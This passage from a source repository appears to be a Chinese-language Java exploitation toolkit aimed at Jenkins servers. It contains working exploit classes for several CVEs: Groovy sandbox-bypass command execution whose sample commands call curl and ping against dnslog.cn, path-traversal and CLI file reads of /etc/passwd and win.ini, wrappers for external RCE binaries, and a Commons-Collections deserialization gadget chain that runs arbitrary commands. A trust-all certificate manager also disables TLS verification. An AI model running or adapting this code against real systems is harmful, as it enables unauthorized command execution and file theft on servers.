")||response2.getText().equals("

")){ 42 | this.isVul = true; 43 | String random = getRandomString(3); 44 | this.exeCmd("admin|ping -w 1 "+random+"."+dnslog,"UTF-8"); 45 | String basic = "目标可能存在CVE-2018-1000861 绕过Groovy沙盒未授权命令执行漏洞,请从文件读取/命令执行模块进行无回显命令执行测试 \n\t eg:admin|curl dnslog.cn or test1|curl dnslog.cn or test2|curl dnslog.cn"; 46 | if(dnslog_verify(dnslogSetting,random)){ 47 | return "[+] 经过dnslog api测试, "+basic; 48 | }else { 49 | //排除目标有curl无ping命令的情况 50 | this.exeCmd("admin|curl "+random+"."+dnslog,"UTF-8"); 51 | if(dnslog_verify(dnslogSetting,random)){ 52 | return "[+] 经过dnslog api测试, "+basic; 53 | }else { 54 | return "[?] 未经过dnslog api测试, 可能是api限制请求频率,dnslog日志累计过多,目标不出网,当前网络不流畅等原因, 不一定不存在漏洞 "; 55 | } 56 | } 57 | } 58 | } 59 | return "[-] 目标可能不存在CVE-2018-1000861 绕过Groovy沙盒未授权命令执行漏洞"; 60 | } 61 | 62 | @Override 63 | public String exeCmd(String cmd, String encoding) { 64 | if(!cmd.startsWith("admin|")&&!cmd.startsWith("test1|")&&!cmd.startsWith("test2")){ 65 | return "命令格式: admin|curl dnslog.cn or test1|curl dnslog.cn or test2|curl dnslog.cn"; 66 | } 67 | int Index = cmd.indexOf("|"); 68 | String user = cmd.substring(0,Index); 69 | cmd = cmd.substring(Index+1); 70 | String exp = ""; 71 | String payload = ""; 72 | if(user.equals("admin")){ 73 | exp = "public class x {public x(){\"payload\".execute()}}"; 74 | payload = payload1; 75 | }else if(user.equals("test1")){ 76 | exp = "import groovy.transform.*\n" + 77 | "@ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"payload\")})\n" + 78 | "class Person{}"; 79 | payload = payload2; 80 | }else if(user.equals("test2")){ 81 | exp = "import groovy.transform.*\n" + 82 | "@ASTTest(value={ \"payload\".execute().text })\n" + 83 | "class Person{}"; 84 | payload = payload2; 85 | } 86 | String exp2 = exp.replace("payload",cmd); 87 | try { 88 | Response response = HttpTools.get(url + payload + URLEncoder.encode(exp2,"UTF-8"), this.headers, "UTF-8"); 89 | } catch (UnsupportedEncodingException e) { 90 | e.printStackTrace(); 91 | } 92 | return "无回显命令执行,请自行进行验证"; 93 | } 94 | 95 | @Override 96 | public boolean isVul() { 97 | return this.isVul; 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2018_1999002.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.tools.HttpTools; 5 | import fun.fireline.tools.Jenkins_Info; 6 | import fun.fireline.tools.Response; 7 | 8 | import java.util.HashMap; 9 | 10 | public class CVE_2018_1999002 implements ExploitInterface { 11 | 12 | private String url = ""; 13 | private boolean isVul = false; 14 | private HashMap headers = new HashMap<>(); 15 | private String[] pluginList = {"credentials","jquery-detached","git","blueocean","jira","github"}; 16 | private String use_plugin = ""; 17 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 18 | 19 | @Override 20 | public String checkVul(String url) { 21 | this.url = url; 22 | String version = jenkins_info.get_Jenkions_Info(url); 23 | if(version==null){ 24 | return "[-] 目标非Jenkins"; 25 | } 26 | this.headers.put("Host", url.replace("http://","").replace("https://","").replace("/","")); 27 | this.headers.put("Accept", "text/javascript, text/html, application/xml, text/xml, */*"); 28 | this.headers.put("X-Prototype-Version", "1.7"); 29 | this.headers.put("DNT", "1"); 30 | this.headers.put("X-Requested-With", "XMLHttpRequest"); 31 | this.headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36"); 32 | this.headers.put("Origin", url); 33 | this.headers.put("Referer", url); 34 | this.headers.put("Accept-Encoding", "gzip, deflate"); 35 | this.headers.put("Accept-Language", "/../../../../../../../../windows/win"); 36 | this.headers.put("Cookie", "JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971"); 37 | this.headers.put("Connection", "close"); 38 | for(String plugin:this.pluginList) { 39 | Response response = HttpTools.get(url + "/plugin/"+plugin+"/.ini", this.headers, "UTF-8"); 40 | if (response.getCode() == 200) { 41 | if (response.getText().contains("Window")) { 42 | this.use_plugin = plugin; 43 | this.isVul = true; 44 | return "[+] 目标可能存在CVE-2018-1999002 Jenkins 任意文件读取漏洞,请从文件读取/命令执行模块输入文件名读取文件,eg: c:/windows/win.ini或/etc/passwd"; 45 | } 46 | } 47 | } 48 | return "[-] 目标可能不存在CVE-2018-1999002 Jenkins 任意文件读取漏洞"; 49 | } 50 | 51 | @Override 52 | public String exeCmd(String cmd, String encoding) { 53 | this.headers.remove("Accept-Language"); 54 | int dotIndex = cmd.lastIndexOf("."); 55 | String extension = cmd.substring(dotIndex); 56 | this.headers.put("Accept-Language", "/../../../../../../../../"+cmd.substring(0,dotIndex)); 57 | Response response = HttpTools.get(url+"/plugin/"+this.use_plugin+"/"+extension,this.headers,"UTF-8"); 58 | if(response.getCode()==200){ 59 | return "读取"+cmd+"内容:\n"+response.getText(); 60 | }else { 61 | return "读取"+cmd+"内容失败"; 62 | } 63 | } 64 | 65 | 66 | @Override 67 | public boolean isVul() { 68 | return this.isVul; 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2019_1003000.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.tools.Jenkins_Info; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.IOException; 8 | import java.io.InputStreamReader; 9 | import java.util.concurrent.TimeUnit; 10 | import java.util.regex.Matcher; 11 | import java.util.regex.Pattern; 12 | 13 | public class CVE_2019_1003000 implements ExploitInterface { 14 | 15 | private String url = ""; 16 | private boolean isVul = false; 17 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 18 | 19 | @Override 20 | public String checkVul(String url) { 21 | this.url = url; 22 | String version = jenkins_info.get_Jenkions_Info(url); 23 | if(version==null){ 24 | return "[-] 目标非Jenkins"; 25 | } 26 | this.isVul = true; 27 | return "[?] 目标可能存在CVE-2019-1003000 Jenkins 远程代码执行,但需要提供job,username,password参数,请从文件读取/命令执行模块进行判断 eg: user1|user1|my-pipeline|ls (username|password|jobname|command)"; 28 | } 29 | 30 | @Override 31 | public String exeCmd(String cmd, String encoding) { 32 | String regex = "^[a-zA-Z0-9]+\\s*\\|\\s*[a-zA-Z0-9]+\\s*\\|\\s*[a-zA-Z0-9-]+\\s*\\|\\s*.+\\s*$"; 33 | Pattern pattern = Pattern.compile(regex); 34 | Matcher matcher = pattern.matcher(cmd); 35 | if(!matcher.matches()){ 36 | return "提供的job,username,password参数格式不对,eg: user1|user1|my-pipeline|ls (username|password|jobname|command)"; 37 | } 38 | String[] all = cmd.split("\\|",4); 39 | String username = all[0]; 40 | String password = all[1]; 41 | String jobname = all[2]; 42 | String execute = all[3]; 43 | String os = jenkins_info.getSystem(); 44 | String poc = " --url %s --job %s --username %s --password %s --cmd \"%s\""; 45 | String line = ""; 46 | String lines = ""; 47 | String exp = ""; 48 | try{ 49 | if(os.contains("win")){ 50 | exp = "CVE_2019_1003000.exe"; 51 | }else{ 52 | exp = "./CVE_2019_1003000"; 53 | } 54 | exp = exp + String.format(poc,url,jobname,username,password,execute); 55 | System.out.println("exp: "+exp); 56 | Process process = Runtime.getRuntime().exec(exp); 57 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 58 | while ((line = reader.readLine()) != null) { 59 | lines += line + "\n"; 60 | } 61 | process.waitFor(30, TimeUnit.SECONDS); 62 | if (!lines.contains("OUTPUT")) { 63 | return "命令执行失败,有以下可能:username,password,jobname错误,或者该目标不存在CVE-2019-1003000漏洞"; 64 | } 65 | if (lines.contains("Finished: SUCCESS")) { 66 | String startDelimiter = "\\[Pipeline\\] echo"; 67 | String endDelimiter = "\\[Pipeline\\] End of Pipeline"; 68 | pattern = Pattern.compile(startDelimiter + "(.*?)" + endDelimiter, Pattern.DOTALL); 69 | matcher = pattern.matcher(lines); 70 | String content = ""; 71 | if (matcher.find()) { 72 | content = matcher.group(1).trim(); 73 | } 74 | return "命令执行成功:\n" + content; 75 | } else if (lines.contains("Finished: FAILURE")) { 76 | String content = ""; 77 | String[] lines2 = lines.split("\n"); 78 | for (int i = 0; i < lines2.length; i++) { 79 | if (lines2[i].startsWith("[Pipeline] End of Pipeline")) { 80 | if (i + 2 < lines2.length) { 81 | content = lines2[i + 2]; 82 | } 83 | break; 84 | } 85 | } 86 | return "命令执行失败:\n" + content; 87 | } 88 | } catch (IOException | InterruptedException e) { 89 | e.printStackTrace(); 90 | } 91 | return "命令执行失败,有以下可能:username,password,jobname错误,或者该目标不存在CVE-2019-1003000漏洞"; 92 | } 93 | 94 | 95 | @Override 96 | public boolean isVul() { 97 | return this.isVul; 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2019_1003005.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.exp.tools.dnslogSetting; 5 | import fun.fireline.tools.Jenkins_Info; 6 | 7 | import java.io.IOException; 8 | 9 | import static fun.fireline.tools.Tools.*; 10 | 11 | public class CVE_2019_1003005 implements ExploitInterface { 12 | 13 | private String url = ""; 14 | private boolean isVul = false; 15 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 16 | private dnslogSetting dnslogSetting = new dnslogSetting(); 17 | 18 | @Override 19 | public String checkVul(String url) { 20 | this.url = url; 21 | String version = jenkins_info.get_Jenkions_Info(url); 22 | if(version==null){ 23 | return "[-] 目标非Jenkins"; 24 | } 25 | String dnslog = dnslogSetting.getDomain(); 26 | if(dnslog==null){ 27 | return "请进行dnslog配置"; 28 | } 29 | String basic = "CVE-2019-1003005/CVE-2019-1003029 无回显远程代码执行(Script Security Plugin沙箱绕过),请从文件读取/命令执行模块自行判断 eg: curl dnslog.cn (command)"; 30 | if(compare2(version,"2.53")==0||compare2(version,"2.122")==0||compare2(version,"2.137")==0||compare2(version,"2.138")==0||compare2(version,"2.152")==0||compare2(version,"2.153")==0){ 31 | String random = getRandomString(3); 32 | this.isVul = true; 33 | this.exeCmd("ping -w 1 "+random+"."+dnslog,"UTF-8"); 34 | if(dnslog_verify(dnslogSetting,random)){ 35 | return "[+] 目标版本处于漏洞版本之内, 且经过dnslog api测试, 可能存在"+basic; 36 | }else { 37 | //排除目标有curl无ping命令的情况 38 | this.exeCmd("curl "+random+"."+dnslog,"UTF-8"); 39 | if(dnslog_verify(dnslogSetting,random)){ 40 | return "[+] 经过dnslog api测试, "+basic; 41 | }else { 42 | return "[?] 目标版本处于漏洞版本之内, 但未经过dnslog api测试, 可能是api限制请求频率,dnslog日志累计过多,目标不出网,当前网络不流畅等原因, 不一定不存在漏洞 " + basic; 43 | } 44 | } 45 | } 46 | return "[-] 目标版本处于漏洞版本之外, 不存在"+basic; 47 | } 48 | 49 | @Override 50 | public String exeCmd(String cmd, String encoding) { 51 | String os = jenkins_info.getSystem(); 52 | String exp = ""; 53 | if(os.contains("win")){ 54 | exp = "CVE_2019_1003005.exe"; 55 | }else{ 56 | exp = "./CVE_2019_1003005"; 57 | } 58 | try { 59 | String command = String.format("%s %s \"%s\"",exp,this.url,cmd); 60 | Process process = Runtime.getRuntime().exec(command); 61 | System.out.println("exp: "+command); 62 | process.waitFor(); 63 | } catch (InterruptedException | IOException e) { 64 | e.printStackTrace(); 65 | } 66 | return "无回显命令执行,请自行验证"; 67 | } 68 | 69 | @Override 70 | public boolean isVul() { 71 | return this.isVul; 72 | } 73 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2024_23897.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.tools.Jenkins_Info; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.IOException; 8 | import java.io.InputStreamReader; 9 | import java.util.concurrent.TimeUnit; 10 | import java.util.regex.Matcher; 11 | import java.util.regex.Pattern; 12 | 13 | public class CVE_2024_23897 implements ExploitInterface { 14 | 15 | private boolean isVul = false; 16 | private String url = ""; 17 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 18 | 19 | @Override 20 | public String checkVul(String url) { 21 | this.url = url; 22 | String version = jenkins_info.get_Jenkions_Info(url); 23 | if(version==null){ 24 | return "[-] 目标非Jenkins"; 25 | } 26 | String command = "java -jar jenkins-cli.jar -s " + url + " -http help 1 \"@/etc/passwd\""; 27 | String line = ""; 28 | String lines = ""; 29 | try { 30 | Process process = Runtime.getRuntime().exec(command); 31 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getErrorStream())); 32 | while((line=reader.readLine())!=null){ 33 | lines += line+'\n'; 34 | } 35 | if(lines.contains("root:x:0")){ 36 | this.isVul = true; 37 | return "[+] 目标可能存在CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞,请从文件读取/命令执行模块输入文件名读取文件,eg:/etc/passwd(只读取第一行);@/etc/passwd(在开启匿名用户可读的情况下可以获取较完整的文件)"; 38 | } 39 | process.waitFor(10, TimeUnit.SECONDS); 40 | } catch (IOException | InterruptedException e) { 41 | e.printStackTrace(); 42 | } 43 | return "[-] 目标可能不存在CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞"; 44 | } 45 | 46 | @Override 47 | public String exeCmd(String cmd, String encoding) { 48 | String url = this.url; 49 | String line = ""; 50 | String lines = ""; 51 | String payload = ""; 52 | try { 53 | if(cmd.contains("@")){ 54 | payload = "java -jar jenkins-cli.jar -s " + url + " -http connect-node \"payload\""; 55 | }else { 56 | payload = "java -jar jenkins-cli.jar -s " + url + " -http help 1 \"@payload\""; 57 | } 58 | payload = payload.replace("payload", cmd); 59 | System.out.println("exp: "+payload); 60 | Process process = Runtime.getRuntime().exec(payload); 61 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getErrorStream())); 62 | while((line=reader.readLine())!=null){ 63 | lines += line+'\n'; 64 | } 65 | if(lines.contains("No such file")){ 66 | return "No such file"; 67 | } 68 | if(lines.contains("Failed to parse")){ 69 | return "Failed to parse"; 70 | } 71 | if(cmd.contains("@")){ 72 | String result=""; 73 | String lines3=""; 74 | String regex = "\"(.*?)\""; 75 | Pattern pattern = Pattern.compile(regex); 76 | Matcher matcher = pattern.matcher(lines); 77 | while (matcher.find()) { 78 | result = matcher.group(1); 79 | lines3+=result+"\n"; 80 | } 81 | return "开启了'匿名用户可读'选项,读取"+cmd.replaceAll("@","")+"内容: \n"+lines3; 82 | }else { 83 | String[] lines2 = lines.split("\n"); 84 | for(String line2: lines2){ 85 | if (line2.contains("ERROR: Too many arguments: ")) { 86 | String result = line2.substring(line2.indexOf("ERROR: Too many arguments: ") + "ERROR: Too many arguments: ".length()); 87 | return "读取"+cmd+"内容: "+result; 88 | } 89 | } 90 | } 91 | process.waitFor(10, TimeUnit.SECONDS); 92 | } catch (IOException | InterruptedException e) { 93 | e.printStackTrace(); 94 | } 95 | return null; 96 | } 97 | 98 | 99 | @Override 100 | public boolean isVul() { 101 | return this.isVul; 102 | } 103 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/tools/Payload.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.tools; 2 | 3 | import java.io.FileOutputStream; 4 | import java.io.ObjectOutputStream; 5 | import java.io.ObjectStreamException; 6 | import java.io.Serializable; 7 | import java.lang.reflect.Field; 8 | import java.security.KeyPair; 9 | import java.security.KeyPairGenerator; 10 | import java.security.PrivateKey; 11 | import java.security.PublicKey; 12 | import java.security.Signature; 13 | import java.security.SignedObject; 14 | import java.util.Comparator; 15 | import java.util.HashMap; 16 | import java.util.HashSet; 17 | import java.util.Map; 18 | import java.util.concurrent.ConcurrentSkipListSet; 19 | import java.util.concurrent.CopyOnWriteArraySet; 20 | 21 | import net.sf.json.JSONArray; 22 | 23 | import org.apache.commons.collections.Transformer; 24 | import org.apache.commons.collections.collection.AbstractCollectionDecorator; 25 | import org.apache.commons.collections.functors.ChainedTransformer; 26 | import org.apache.commons.collections.functors.ConstantTransformer; 27 | import org.apache.commons.collections.functors.InvokerTransformer; 28 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 29 | import org.apache.commons.collections.map.LazyMap; 30 | import org.apache.commons.collections.map.ReferenceMap; 31 | import org.apache.commons.collections.set.ListOrderedSet; 32 | 33 | public class Payload implements Serializable { 34 | 35 | private Serializable payload; 36 | 37 | private Payload(String cmd) throws Exception { 38 | 39 | this.payload = this.setup(cmd); 40 | 41 | } 42 | 43 | private Serializable setup(String cmd) throws Exception { 44 | final String[] execArgs = new String[] { cmd }; 45 | 46 | final Transformer[] transformers = new Transformer[] { 47 | new ConstantTransformer(Runtime.class), 48 | new InvokerTransformer("getMethod", new Class[] { String.class, 49 | Class[].class }, new Object[] { "getRuntime", 50 | new Class[0] }), 51 | new InvokerTransformer("invoke", new Class[] { Object.class, 52 | Object[].class }, new Object[] { null, new Object[0] }), 53 | new InvokerTransformer("exec", new Class[] { String.class }, 54 | execArgs), new ConstantTransformer(1) }; 55 | 56 | Transformer transformerChain = new ChainedTransformer(transformers); 57 | 58 | final Map innerMap = new HashMap(); 59 | 60 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 61 | 62 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 63 | 64 | HashSet map = new HashSet(1); 65 | map.add("foo"); 66 | Field f = null; 67 | try { 68 | f = HashSet.class.getDeclaredField("map"); 69 | } catch (NoSuchFieldException e) { 70 | f = HashSet.class.getDeclaredField("backingMap"); 71 | } 72 | 73 | f.setAccessible(true); 74 | HashMap innimpl = (HashMap) f.get(map); 75 | 76 | Field f2 = null; 77 | try { 78 | f2 = HashMap.class.getDeclaredField("table"); 79 | } catch (NoSuchFieldException e) { 80 | f2 = HashMap.class.getDeclaredField("elementData"); 81 | } 82 | 83 | f2.setAccessible(true); 84 | Object[] array2 = (Object[]) f2.get(innimpl); 85 | 86 | Object node = array2[0]; 87 | if (node == null) { 88 | node = array2[1]; 89 | } 90 | 91 | Field keyField = null; 92 | try { 93 | keyField = node.getClass().getDeclaredField("key"); 94 | } catch (Exception e) { 95 | keyField = Class.forName("java.util.MapEntry").getDeclaredField( 96 | "key"); 97 | } 98 | 99 | keyField.setAccessible(true); 100 | keyField.set(node, entry); 101 | 102 | KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); 103 | keyPairGenerator.initialize(1024); 104 | KeyPair keyPair = keyPairGenerator.genKeyPair(); 105 | PrivateKey privateKey = keyPair.getPrivate(); 106 | PublicKey publicKey = keyPair.getPublic(); 107 | 108 | Signature signature = Signature.getInstance(privateKey.getAlgorithm()); 109 | SignedObject payload = new SignedObject(map, privateKey, signature); 110 | JSONArray array = new JSONArray(); 111 | 112 | array.add("asdf"); 113 | 114 | ListOrderedSet set = new ListOrderedSet(); 115 | Field f1 = AbstractCollectionDecorator.class 116 | .getDeclaredField("collection"); 117 | f1.setAccessible(true); 118 | f1.set(set, array); 119 | 120 | DummyComperator comp = new DummyComperator(); 121 | ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp); 122 | csls.add(payload); 123 | 124 | CopyOnWriteArraySet a1 = new CopyOnWriteArraySet(); 125 | CopyOnWriteArraySet a2 = new CopyOnWriteArraySet(); 126 | 127 | a1.add(set); 128 | Container c = new Container(csls); 129 | a1.add(c); 130 | 131 | a2.add(csls); 132 | a2.add(set); 133 | 134 | ReferenceMap flat3map = new ReferenceMap(); 135 | flat3map.put(new Container(a1), "asdf"); 136 | flat3map.put(new Container(a2), "asdf"); 137 | 138 | return flat3map; 139 | } 140 | 141 | private Object writeReplace() throws ObjectStreamException { 142 | return this.payload; 143 | } 144 | 145 | private static class Container implements Serializable { 146 | 147 | private Object o; 148 | 149 | private Container(Object o) { 150 | this.o = o; 151 | } 152 | 153 | private Object writeReplace() throws ObjectStreamException { 154 | return o; 155 | } 156 | 157 | } 158 | 159 | static class DummyComperator implements Comparator, Serializable { 160 | 161 | public int compare(Object arg0, Object arg1) { 162 | // TODO Auto-generated method stub 163 | return 0; 164 | } 165 | 166 | private Object writeReplace() throws ObjectStreamException { 167 | return null; 168 | } 169 | 170 | } 171 | 172 | public static void exploit(String cmd) throws Exception { 173 | FileOutputStream out = new FileOutputStream("payload2.ser"); 174 | Payload pwn = new Payload(cmd); 175 | ObjectOutputStream oos = new ObjectOutputStream(out); 176 | oos.writeObject(pwn); 177 | oos.flush(); 178 | out.flush(); 179 | } 180 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/tools/dnslogSetting.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.tools; 2 | 3 | public class dnslogSetting { 4 | private static String domain; 5 | private static String token; 6 | private static String type; 7 | 8 | public static String getDomain() { 9 | return domain; 10 | } 11 | 12 | public static void setDomain(String domain) { 13 | dnslogSetting.domain = domain; 14 | } 15 | 16 | public static String getToken() { 17 | return token; 18 | } 19 | 20 | public static void setToken(String token) { 21 | dnslogSetting.token = token; 22 | } 23 | 24 | public static String getType() { 25 | return type; 26 | } 27 | 28 | public static void setType(String type) { 29 | dnslogSetting.type = type; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/tools/Cert.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.tools; 2 | 3 | 4 | 5 | import java.security.cert.CertificateException; 6 | import java.security.cert.X509Certificate; 7 | import javax.net.ssl.X509TrustManager; 8 | 9 | public class Cert implements X509TrustManager { 10 | public Cert() { 11 | } 12 | 13 | public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { 14 | } 15 | 16 | public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { 17 | } 18 | 19 | public X509Certificate[] getAcceptedIssuers() { 20 | return null; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/tools/HttpTools.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.tools; 2 | 3 | import fun.fireline.controller.MainController; 4 | import org.apache.log4j.Logger; 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | import java.io.OutputStream; 9 | import java.net.HttpURLConnection; 10 | import java.net.Proxy; 11 | import java.net.SocketTimeoutException; 12 | import java.net.URL; 13 | import java.security.KeyManagementException; 14 | import java.security.NoSuchAlgorithmException; 15 | import java.security.NoSuchProviderException; 16 | import java.security.SecureRandom; 17 | import java.util.HashMap; 18 | import java.util.Iterator; 19 | import javax.net.ssl.HostnameVerifier; 20 | import javax.net.ssl.HttpsURLConnection; 21 | import javax.net.ssl.KeyManager; 22 | import javax.net.ssl.SSLContext; 23 | import javax.net.ssl.SSLSession; 24 | import javax.net.ssl.TrustManager; 25 | 26 | 27 | public class HttpTools { 28 | private static String UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"; 29 | 30 | private static final Logger logger = Logger.getLogger(MainController.class); 31 | 32 | public HttpTools() { 33 | } 34 | 35 | public static Response get(String url, HashMap headers, String encoding) { 36 | Response response = new Response(0, (String)null, (String)null, (String)null); 37 | 38 | try { 39 | HttpURLConnection conn = getCoon(url); 40 | conn.setRequestMethod("GET"); 41 | Iterator var4 = headers.keySet().iterator(); 42 | 43 | while(var4.hasNext()) { 44 | String key = (String)var4.next(); 45 | conn.setRequestProperty(key, (String)headers.get(key)); 46 | } 47 | 48 | response = getResponse(conn, encoding); 49 | } catch (SocketTimeoutException var6) { 50 | logger.debug(var6.getMessage()); 51 | response.setError("连接超时!"); 52 | } catch (IOException var7) { 53 | logger.debug(var7.getMessage()); 54 | response.setError(var7.getMessage()); 55 | } catch (KeyManagementException | NoSuchProviderException | NoSuchAlgorithmException var8) { 56 | logger.debug(var8.getMessage()); 57 | response.setError(var8.getMessage()); 58 | } 59 | return response; 60 | } 61 | 62 | public static Response post(String url, String postString, HashMap headers, String encoding) { 63 | Response response = new Response(0, (String)null, (String)null, (String)null); 64 | 65 | try { 66 | HttpURLConnection conn = getCoon(url); 67 | conn.setRequestMethod("POST"); 68 | Iterator var5 = headers.keySet().iterator(); 69 | 70 | while(var5.hasNext()) { 71 | String key = (String)var5.next(); 72 | conn.setRequestProperty(key, (String)headers.get(key)); 73 | } 74 | 75 | OutputStream outputStream = conn.getOutputStream(); 76 | outputStream.write(postString.getBytes()); 77 | outputStream.flush(); 78 | outputStream.close(); 79 | response = getResponse(conn, encoding); 80 | } catch (Exception var8) { 81 | logger.debug(var8.getMessage()); 82 | response.setError(var8.getMessage()); 83 | } 84 | 85 | return response; 86 | } 87 | 88 | private static Response getResponse(HttpURLConnection conn, String encoding) { 89 | Response response = new Response(0, (String)null, (String)null, (String)null); 90 | 91 | try { 92 | conn.connect(); 93 | response.setCode(conn.getResponseCode()); 94 | response.setHead(conn.getHeaderFields().toString()); 95 | response.setText(streamToString(conn.getInputStream(), encoding)); 96 | } catch (IOException var3) { 97 | response.setError(var3.toString()); 98 | logger.debug(var3.toString()); 99 | } 100 | 101 | return response; 102 | } 103 | 104 | private static HttpURLConnection getCoon(String url) throws IOException, NoSuchProviderException, NoSuchAlgorithmException, KeyManagementException { 105 | SSLContext sslcontext = SSLContext.getInstance("SSL", "SunJSSE"); 106 | TrustManager[] tm = new TrustManager[]{new Cert()}; 107 | sslcontext.init((KeyManager[])null, tm, new SecureRandom()); 108 | HostnameVerifier ignoreHostnameVerifier = new HostnameVerifier() { 109 | public boolean verify(String s, SSLSession sslsession) { 110 | logger.debug("WARNING: Hostname is not matched for cert."); 111 | return true; 112 | } 113 | }; 114 | HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier); 115 | HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory()); 116 | URL url_object = new URL(url); 117 | HttpURLConnection conn = (HttpURLConnection)url_object.openConnection(); 118 | //代理 119 | Proxy proxy = (Proxy) MainController.settingInfo.get("proxy"); 120 | if(proxy != null) { 121 | conn = (HttpURLConnection)url_object.openConnection(proxy); 122 | } 123 | 124 | conn.setRequestProperty("User-Agent", UA); 125 | conn.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); 126 | conn.setRequestProperty("Accept-Language","zh-CN,zh;q=0.9"); 127 | conn.setRequestProperty("Connection","close"); 128 | 129 | conn.setConnectTimeout(5000); 130 | conn.setReadTimeout(5000); 131 | conn.setDoOutput(true); 132 | conn.setDoInput(true); 133 | conn.setUseCaches(false); 134 | conn.setInstanceFollowRedirects(false); 135 | return conn; 136 | } 137 | 138 | private static String streamToString(InputStream inputStream, String encoding) { 139 | String resultString = null; 140 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 141 | int len; 142 | byte[] data = new byte[1024]; 143 | 144 | try { 145 | while((len = inputStream.read(data)) != -1) { 146 | byteArrayOutputStream.write(data, 0, len); 147 | } 148 | if(encoding.equals("")) { 149 | encoding = "UTF-8"; 150 | } 151 | resultString = byteArrayOutputStream.toString(encoding); 152 | } catch (IOException var6) { 153 | resultString = var6.getMessage(); 154 | var6.printStackTrace(); 155 | } 156 | 157 | return resultString; 158 | } 159 | } 160 | 161 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/tools/Jenkins_Info.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.tools; 2 | 3 | import java.io.IOException; 4 | import java.net.HttpURLConnection; 5 | import java.net.URL; 6 | 7 | public class Jenkins_Info { 8 | public static int executionCount=0; 9 | public static String url=""; 10 | public static String xJenkinsHeader=""; 11 | public static String os=""; 12 | 13 | public String getSystem(){ 14 | return this.os; 15 | } 16 | 17 | public String get_Jenkions_Info(String url){ 18 | //每一个url只获取一次信息,换url就重置次数 19 | if(executionCount!=0&&!this.url.equals(url)){ 20 | this.executionCount=0; 21 | } 22 | //如果之前已经获取到了信息,就直接返回获取的信息 23 | if(this.executionCount>=1){ 24 | return this.xJenkinsHeader; 25 | } 26 | this.url = url; 27 | this.os = System.getProperty("os.name").toLowerCase(); 28 | this.executionCount++; 29 | try{ 30 | URL urlObj = new URL(url); 31 | HttpURLConnection connection = (HttpURLConnection) urlObj.openConnection(); 32 | connection.setRequestMethod("GET"); 33 | this.xJenkinsHeader = connection.getHeaderField("X-Jenkins"); 34 | if(xJenkinsHeader!=null){ 35 | return this.xJenkinsHeader; 36 | }else { 37 | return null; 38 | } 39 | } catch (IOException e) { 40 | e.printStackTrace(); 41 | } 42 | return null; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/tools/Response.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.tools; 2 | 3 | 4 | public class Response { 5 | private int code; 6 | private String head; 7 | private String text; 8 | private String error; 9 | 10 | public Response() { 11 | } 12 | 13 | public Response(int code, String head, String text, String error) { 14 | this.code = code; 15 | this.head = head; 16 | this.text = text; 17 | this.error = error; 18 | } 19 | 20 | public int getCode() { 21 | return this.code; 22 | } 23 | 24 | public void setCode(int code) { 25 | this.code = code; 26 | } 27 | 28 | public String getHead() { 29 | 